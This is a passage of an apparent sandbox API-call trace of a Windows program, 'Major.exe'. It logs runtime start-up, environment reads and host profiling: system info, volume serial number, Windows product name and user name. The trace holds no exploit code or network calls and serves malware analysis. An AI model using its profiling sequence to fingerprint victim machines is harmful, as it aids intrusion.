\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19fca4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1d\x6d\x3e\x83\xe0\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0075.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0075.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda4, cbMultiByte=256, lpWideCharStr=0x19f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0075.791] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0075.791] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x19f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0075.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19fba4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x1d\x6d\x3e\x83\xe0\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x576758 [0075.791] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x45bb00, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Major.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\major.exe")) returned 0x21 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x57eff0 [0075.791] RtlInitializeSListHead (in: ListHead=0x45b2b0 | out: ListHead=0x45b2b0) [0075.791] GetLastError () returned 0x0 [0075.791] SetLastError (dwErrCode=0x0) [0075.791] GetEnvironmentStringsW () returned 0x589358* [0075.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x565) returned 0x58bb18 [0075.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x58bb18, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0075.791] FreeEnvironmentStringsW (penv=0x589358) returned 1 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x94) returned 0x57faa0 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1f) returned 0x57b080 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x5848a0 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x37) returned 0x585e98 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x583cb8 [0075.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x31) returned 0x57e870 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x14) returned 0x584dd0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x584900 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd) returned 0x58a290 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x17) returned 0x584df0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2b) returned 0x57ef48 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x15) returned 0x585010 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x17) returned 0x584ef0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x22) returned 0x584b40 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe) returned 0x58a278 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc1) returned 0x580f98 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x583838 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1b) returned 0x589798 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1d) returned 0x589608 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x57e408 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x12) returned 0x584e10 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x584e30 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1b) returned 0x5894a0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x584930 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x29) returned 0x57efb8 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x589720 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6b) returned 0x580ed8 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x17) returned 0x584d30 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xf) returned 0x58a2d8 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x16) returned 0x584c50 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x584b70 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x27) returned 0x584990 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x12) returned 0x584fb0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x21) returned 0x584960 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x10) returned 0x58a2f0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1c) returned 0x5897c0 [0075.792] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x12) returned 0x584e90 [0075.792] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58bb18 | out: hHeap=0x570000) returned 1 [0075.792] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0075.793] RtlInitializeConditionVariable (in: ConditionVariable=0x45b290 | out: ConditionVariable=0x45b290) [0075.793] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionEx") returned 0x75efebc0 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="InitOnceExecuteOnce") returned 0x74f95550 [0075.793] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventExW") returned 0x75efeb20 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreW") returned 0x75efeb90 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreExW") returned 0x75efeb80 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolTimer") returned 0x75ea6d30 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolTimer") returned 0x77bfd7c0 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77bfb840 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolTimer") returned 0x77bfb740 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWait") returned 0x75ea6d70 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolWait") returned 0x77bfc0b0 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWait") returned 0x77bfbe10 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="FlushProcessWriteBuffers") returned 0x77c22b20 [0075.794] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77c18e50 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessorNumber") returned 0x77c152f0 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSymbolicLinkW") returned 0x75ea4510 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentPackageId") returned 0x74f9e260 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount64") returned 0x75ea0db0 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileInformationByHandleEx") returned 0x75ea43d0 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileInformationByHandle") returned 0x75eff110 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x75eff1e0 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="WakeConditionVariable") returned 0x77c88c50 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0075.795] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSRWLock") returned 0x77c13a00 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="AcquireSRWLockExclusive") returned 0x77bf58e0 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77c72ce0 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSRWLockExclusive") returned 0x77bf83a0 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableSRW") returned 0x7500fcf0 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWork") returned 0x75ea6db0 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="SubmitThreadpoolWork") returned 0x77bfeb00 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWork") returned 0x77bfed50 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringEx") returned 0x75ea7050 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoEx") returned 0x75ea7190 [0075.796] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringEx") returned 0x75ea7480 [0075.796] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x58bb18 [0075.797] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0075.797] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40e0e2) returned 0x0 [0075.797] GetCurrentThread () returned 0xfffffffe [0075.797] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x19ff0c, lpExitTime=0x19ff14, lpKernelTime=0x19ff14, lpUserTime=0x19ff14 | out: lpCreationTime=0x19ff0c, lpExitTime=0x19ff14, lpKernelTime=0x19ff14, lpUserTime=0x19ff14) returned 1 [0075.797] RtlInitializeSListHead (in: ListHead=0x45c238 | out: ListHead=0x45c238) [0075.797] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x990) returned 0x58c768 [0075.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x57f098 [0075.798] GetSystemInfo (in: lpSystemInfo=0x19f4a8 | out: lpSystemInfo=0x19f4a8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0075.798] GetVolumeInformationW (in: lpRootPathName=0x0, lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x19f4e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19f4e4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0075.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5896d0 [0075.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589748 [0075.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5896d0 | out: hHeap=0x570000) returned 1 [0075.799] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0x19ff08 | out: phkResult=0x19ff08*=0x130) returned 0x0 [0075.799] RegQueryValueExW (in: hKey=0x130, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19fa24, lpcbData=0x19feb4*=0x200 | out: lpType=0x0, lpData=0x19fa24*=0x57, lpcbData=0x19feb4*=0x1e) returned 0x0 [0075.799] RegCloseKey (hKey=0x130) returned 0x0 [0075.799] GetUserNameW (in: lpBuffer=0x19f820, pcbBuffer=0x19feb0 | out: lpBuffer="FD1HVy", pcbBuffer=0x19feb0) returned 1 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5894f0 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5837f0 [0075.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5894f0 | out: hHeap=0x570000) returned 1 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x58d390 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x76) returned 0x57e6c0 [0075.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58d390 | out: hHeap=0x570000) returned 1 [0075.803] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57f8b8 [0075.803] HeapFree (in: 